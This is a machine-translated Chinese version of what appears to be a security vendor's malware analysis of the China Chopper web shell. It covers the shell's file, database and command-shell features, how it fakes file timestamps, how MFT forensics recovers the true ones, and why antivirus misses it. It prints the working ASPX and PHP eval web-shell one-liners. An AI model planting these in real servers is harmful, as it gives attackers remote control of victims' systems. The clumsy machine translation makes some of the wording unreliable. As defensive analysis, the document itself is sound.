图片6:中国菜刀作为一款网站扫描器除了漏洞打猎,此网站的外壳相结合时,在客户端和有效载荷,包括以下具有优良的数控功能:
文件管理(文件浏览器)
数据库管理(DB客户端)
虚拟终端(命令行解释器)
在中国斩波器的主窗口中,右键单击目标URL之一带来了可能采取的行动(见图7)的列表。
图7:数控客户端显示的网页壳的功能截图
文件管理
作为一个远程访问工具(RAT),中国斩波使得文件管理简单。能力包括上传和下载文件,并从受害人,使用文件检索工具的wget从网上下载文件到目标,编辑,删除,复制,重命名,甚至改变文件的时间戳。
图8:文件管理提供了一个易于使用的菜单是由右键点击一个文件名启动
那么到底有多隐形的“修改文件的时间”选项?图9显示在测试目录中的三个文件的时间戳在Web壳修改时间戳之前。默认情况下,Windows资源管理器只显示“修改日期”字段。所以通常情况下,我们的Web外壳很容易脱颖而出,因为它比其他两个文件更新。
图9:以前IIS目录显示时间戳的时间修改
图10示出在Web壳修改的时间戳之后的文件的日期。在我们的Web壳的修改的时间显示为相同的其它两个文件。因为这是显示给用户的默认领域,很容易融合到未经训练的眼睛 - 尤其是与目录多个文件。
图10:IIS目录显示时间戳时间修改后
聪明的研究者可能会认为他们可以当场可疑文件由于创建日期被更改为相同的日期作为修改日期。但是,这并不一定是不正常的。此外,即使在检测到文件时,法医时间表会歪斜,因为攻击者种植该文件的日期是不再存在。为了找到真正的约会文件种植,你需要去到主文件表(MFT)。使用FTK,包住,或其他手段获取MFT后,我们建议使用mftdump(可从http://malware-hunters.net/all-downloads/)。撰稿FireEye研究员迈克SPOHN,mftdump是用于提取和分析文件元数据的一大利器。
下表显示了从MFT被拉为我们的Web壳文件的时间戳。我们之前和时间戳进行了修改后,拉着时间戳。请注意,“FN *”的字段保留其原有的时代,因此没有失去一切的调查!
Category | Pre-touch match | Post-touch match |
---|---|---|
siCreateTime (UTC) | 6/6/2013 16:01 | 2/21/2003 22:48 |
siAccessTime (UTC) | 6/20/2013 1:41 | 6/25/2013 18:56 |
siModTime (UTC) | 6/7/2013 0:33 | 2/21/2003 22:48 |
siMFTModTime (UTC) | 6/20/2013 1:54 | 6/25/2013 18:56 |
fnCreateTime (UTC) | 6/6/2013 16:01 | 6/6/2013 16:01 |
fnAccessTime (UTC) | 6/6/2013 16:03 | 6/6/2013 16:03 |
fnModTime (UTC) | 6/4/2013 15:42 | 6/4/2013 15:42 |
fnMFTModTime (UTC) | 6/6/2013 16:04 | 6/6/2013 16:04 |
数据库管理
数据库管理功能令人印象深刻的和有益的首次用户。在配置客户端,中国菜刀提供例如连接语法。
图11:数据库管理需要简单的配置参数进行连接
连接后,中国砍刀还规定,您可能需要运行有帮助的SQL命令。
图12:数据库管理提供与数据库交互的能力,甚至还提供了有益的预填充命令
命令shell访问
最后,命令shell访问是为你渴望的操作系统级别的交互。什么是多才多艺的小网站的外壳!
图13:虚拟终端提供了一个命令shell用于OS互动
有效载荷属性
我们如上所述,这个后门是隐蔽由于一些因素,包括以下内容:
尺寸
服务器端内容
客户端的内容
AV检测率
尺寸
合法和非法软件通常遭受同样的原则:更多的功能等于更多的代码,这等于更大的尺寸。考虑到有多少功能,这个网站包含外壳,这是令人难以置信的小 - 只有73字节的ASPX版本,或4千字节磁盘上(见图14)。与此相比,其他Web炮弹如鸦片酊(619字节)或RedTeam渗透测试(8527字节)。中国斩波器是如此之小而简单,你可以想见,手动输入壳的内容。
图14:中国菜刀文件属性
服务器端内容
在服务器端的内容可以很容易地与香草相关的其他文件中忽略了安装复杂的应用程序。代码并不显得太邪恶本质,而是好奇。
图15:文件的内容似乎相对温和的,特别是如果你添加一个温暖和模糊的字一样安全作为外壳的密码
下面是Web壳为它的两个品种的内容。
ASPX:
<%@ Page Language="Jscript"%><%eval(Request.Item["password"],"unsafe");%>
|
PHP:
<?php @eval($_POST['password']);?>
|
客户端内容
因为所有的代码都是服务器端语言,不产生任何客户端代码,浏览到Web Shell查看源作为客户端发现什么都没有。
图16:查看网站壳的来源没有透露给客户端
反病毒检测率
运行Web外壳经过病毒扫描的网站没有病毒由于显示的检出率为0出14,这表明大多数,如果不是全部,防病毒工具将错过网络外壳被感染的系统上。
图17:多种反病毒引擎检查,显示出中国砍刀来了干净的结果
为显示另一张图片也同样如此。无其47反病毒引擎标志中国菜刀恶意的。
图18:多个AV引擎检查显示网页外壳结果来了干净
结论
我们希望这个帖子有先进这款小巧,灵活,隐身网络外壳的理解。如果你正在读这篇文章,你可能会面临中国砍刀现在 - 如果是这样,我们希望您在消除这种害虫的成功。在第二部分中,我们考察中国斩波器的运行平台,并描述其执行机制,流量分析和检测。